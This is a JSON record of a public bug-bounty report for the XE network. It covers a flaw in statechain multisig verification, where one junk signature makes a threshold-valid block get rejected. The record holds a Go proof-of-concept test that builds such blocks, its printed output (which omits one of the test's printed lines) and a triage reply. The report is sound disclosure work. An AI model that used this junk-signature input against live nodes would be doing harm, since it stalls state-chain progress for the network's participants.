{"id":"XE-0946","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"One junk signature in a statechain list rejects a quorum-valid block","area":"consensus","claimed_tier":"minor","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":false,"internal_ref":"","internal_url":null,"status":"triaging","closed_reason":null,"github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T20:03:09.942965+00:00","updated_at":"2026-11-08T20:17:41.885067+00:00","source_created_at":null,"told_at":"2026-11-08T20:18:45.760878+00:00","status_changed_at":"2026-11-08T20:18:14.536982+00:00","url":"https://bounty.xe.network/XE-0946","body":"## Summary\r\nverifyMultisig is supposed to count valid keyset signatures against the DAO threshold and admit a block that already has enough good signatures. At statechain/chain.go:227-254 it returns on the first signer-not-in-keyset entry (:246-248) and on the first VerifySignature error (:250-252), instead of skipping invalids and tallying the rest. A 2-of-3 block with two valid signatures plus one junk extra is therefore dropped entirely. AddBlock on a state-chain block with a mixed signature list is the production path. GitHub #45 is empty-sig-list spam and #6/#93 is threshold ignored on the lease family; here a threshold-satisfying set is rejected because a junk extra is present.\r\n\r\n## Affected components\r\nstatechain/chain.go:227-254 verifyMultisig (return on first unknown key at :246-248 and first VerifySignature error at :250-252) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.\r\n\r\n## Impact\r\nDAO state-chain progress stops for that block even though the remaining signatures meet 2-of-3. One extra junk entry, from a non-keyset key or a bad sig by a keyset member, is enough. Any single malicious or buggy keyset member can DoS that block's admission.\r\n\r\n## PoC\r\n\r\n```go\r\npackage round3\r\n\r\nimport (\r\n\t\"encoding/json\"\r\n\t\"fmt\"\r\n\t\"strings\"\r\n\t\"testing\"\r\n\r\n\t\"github.com/xeprotocol/xe/core\"\r\n\t\"github.com/xeprotocol/xe/statechain\"\r\n\t\"github.com/xeprotocol/xe/store\"\r\n)\r\n\r\nfunc TestPoC_B10(t *testing.T) {\r\n\tfmt.Printf(\"PROVENANCE: xe=%s file=poc/round3/b10_junk_sig_test.go\\n\", pinXE)\r\n\tk1, k2, k3 := mustKey(t), mustKey(t), mustKey(t)\r\n\tpubs := []string{k1.PubKeyHex(), k2.PubKeyHex(), k3.PubKeyHex()}\r\n\tgen, err := genesisDAO(pubs, 2)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"genesis: %v\", err)\r\n\t}\r\n\tms := store.NewMemStore()\r\n\tchain, err := statechain.NewChain(ms, gen)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"NewChain: %v\", err)\r\n\t}\r\n\r\n\tmk := func(signers ...*core.KeyPair) *statechain.Block {\r\n\t\ttip := chain.Tip()\r\n\t\tnote, _ := json.Marshal(\"x\")\r\n\t\tb := &statechain.Block{\r\n\t\t\tIndex:     tip.Index + 1,\r\n\t\t\tPrevHash:  tip.Hash,\r\n\t\t\tTimestamp: tip.Timestamp + 1,\r\n\t\t\tOps:       []statechain.Op{{Action: statechain.ActionSet, Key: \"poc.note\", Value: note}},\r\n\t\t}\r\n\t\tif err := signStateBlock(b, signers...); err != nil {\r\n\t\t\tt.Fatalf(\"sign: %v\", err)\r\n\t\t}\r\n\t\treturn b\r\n\t}\r\n\r\n\tctrl := mk(k1, k2)\r\n\tctrlErr := chain.AddBlock(ctrl)\r\n\tfmt.Printf(\"CONTROL 2-of-3 valid AddBlock err=%v\\n\", ctrlErr)\r\n\r\n\tatk := mk(k1, k2)\r\n\tatk.Signatures = append(atk.Signatures, statechain.BlockSignature{\r\n\t\tPublicKey: strings.Repeat(\"ff\", 32),\r\n\t\tSig:       strings.Repeat(\"00\", 64),\r\n\t})\r\n\tatkErr := chain.AddBlock(atk)\r\n\tfmt.Printf(\"ATTACK 2 valid + 1 junk-key sig AddBlock err=%v\\n\", atkErr)\r\n\r\n\tjunkMember := mk(k1, k2)\r\n\tjunkMember.Signatures = append(junkMember.Signatures, statechain.BlockSignature{\r\n\t\tPublicKey: k3.PubKeyHex(),\r\n\t\tSig:       strings.Repeat(\"11\", 64),\r\n\t})\r\n\tjunkErr := chain.AddBlock(junkMember)\r\n\tfmt.Printf(\"ATTACK 2 valid + 1 junk-sig from keyset member err=%v\\n\", junkErr)\r\n\r\n\tif ctrlErr == nil && atkErr != nil && junkErr != nil {\r\n\t\tfmt.Println(\"PASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely\")\r\n\t\tfmt.Println(\"VERDICT=CONFIRMED\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"VERDICT=KILLED\")\r\n}\r\n```\r\n\r\n```\r\nCONTROL 2-of-3 valid AddBlock err=<nil>\r\nATTACK 2 valid + 1 junk-key sig AddBlock err=signer ffffffffffff not in keyset\r\nPASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely\r\n```\r\n\r\n## Suggested fix\r\nSkip invalid signatures and count remaining valid ones against the threshold. Do not fail the whole list on the first junk entry.\r\n---","patch_refs":[],"thread":[{"id":1080,"source":"desk","source_ref":"reply:626","author":"Joseph Denne","team":true,"body":"Thank you for the report. We have read it in full and confirmed the behaviour in the code; it is being handled and we will update you here once the team has ruled on it.","created_at":"2026-11-08T20:17:41.885067+00:00"}]}